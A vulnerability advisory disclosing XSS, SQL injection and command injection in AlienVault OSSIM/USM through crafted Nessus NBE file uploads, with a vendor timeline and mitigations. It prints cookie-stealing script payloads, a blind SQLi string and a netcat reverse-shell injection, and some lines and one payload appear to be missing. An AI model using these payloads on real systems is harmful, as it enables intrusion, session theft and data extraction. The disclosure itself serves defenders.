Alienvault OSSIM/USM 4.x / 5.0 XSS / SQL Injection / Command Execution

Type packetstorm
Reporter Peter Lapp
Modified 2015-05-06T00:00:00


Product: Alienvault OSSIM/USM  
Vulnerability: Multiple Vulnerabilities (XSS, SQLi, Command Execution)  
Author: Peter Lapp,  
CVE: None assigned  
Vulnerable Versions: Tested on 4.14, 4.15, and 5.0. It likely affects  
all previous versions as well.  
Fixed Version: No fix has been released.  
Alienvault OSSIM is an open source SIEM solution designed to collect  
and correlate log data. The vulnerability management section of the UI  
allows a user to upload a Nessus scan in NBE format. Using a specially  
crafted NBE file, a user can exploit multiple vulnerabilities such as  
XSS, SQLi, and Command Execution. Authentication is required to  
exploit this vulnerability, but admin privileges are not required. Any  
user with access to the Vulnerabilities page can perform these  
The vendor was notified almost 5 months ago about this vulnerability.  
Given that they have not responded to my recent requests for updates  
and just released a major version that did not patch these issues, I  
have decided to release the details.  
Technical Details  
Various fields within the NBE file can be manipulated to exploit  
certain vulnerabilities. A pretty bare template that I used to test  
these issues looked something like this:  
timestamps|||scan_start|Thu Dec 11 17:00:51 2014|  
timestamps|||host_start|Thu Dec 11 17:00:52 2014|  
results|||cifs (445/tcp)|1234|Security Hole|Synopsis  
:\n\nThe remote host contains a web browser that is affected by  
multiple vulnerabilities.\nOther references :  
timestamps|||host_end|Thu Dec 11 17:11:58 2014|  
timestamps|||scan_end|Thu Dec 11 17:16:44 2014|  
Reflective XSS  
The hostname/IP portion of the NBE import is vulnerable. Putting  
<script>alert(0)</script> directly after the hostname/IP in the NBE  
will result in the javascript being reflected back when the import  
Stored XSS  
The plugin ID portion of the NBE is vulnerable.  
Adding<script>alert(document.cookie)</script> to the plugin ID in the  
NBE will result in the script being executed every time someone views  
the HTML report in the OSSIM interface.  
Blind SQL Injection  
The plugin ID is also vulnerable to blind SQLi. Adding ' UNION SELECT  
SLEEP(20) AND '1'='1 to the plugin ID will cause the DB to sleep for  
20 seconds.  
SQL Injection  
The protocol portion of the NBE is vulnerable to SQL injection.  
Take this:  
cifs (445/tcp)  
And turn it to this:  
That will result in the hash of the admin password being included in  
the report. The extra '(' in '1(' is required for the ending ) in  
order to not cause an error in the Perl script that runs the import.  
Command Injection  
The hostname/IP portion of the NBE is vulnerable. Adding '#&&nc -c  
/bin/sh 4444&&' will result in a reverse shell as www-data  
The initial # is required to comment out the remainder of a SQL query  
that comes before the dig command where this is injected. Without it  
the script won't proceed to the required point.  
There's no official patch for this yet. It is possible to restrict  
access to the Vulnerabilities page via user roles, which should  
prevent a user from exploiting this. Also, if you're not using the  
import feature, you could rename the Perl script on the file system  
that runs the import.  
01/12/2015 - Notified the vendor of the vulnerabilities.  
01/12/2015 - Vendor confirms the issue and files a defect.  
01/28/2015 - Requested an update from the vendor and was told the  
issue would be worked on in the future.  
04/20/2015 - Requested an update and informed the vendor of my intent  
to release the details. No response.  
05/05/2015 - Released details to FD.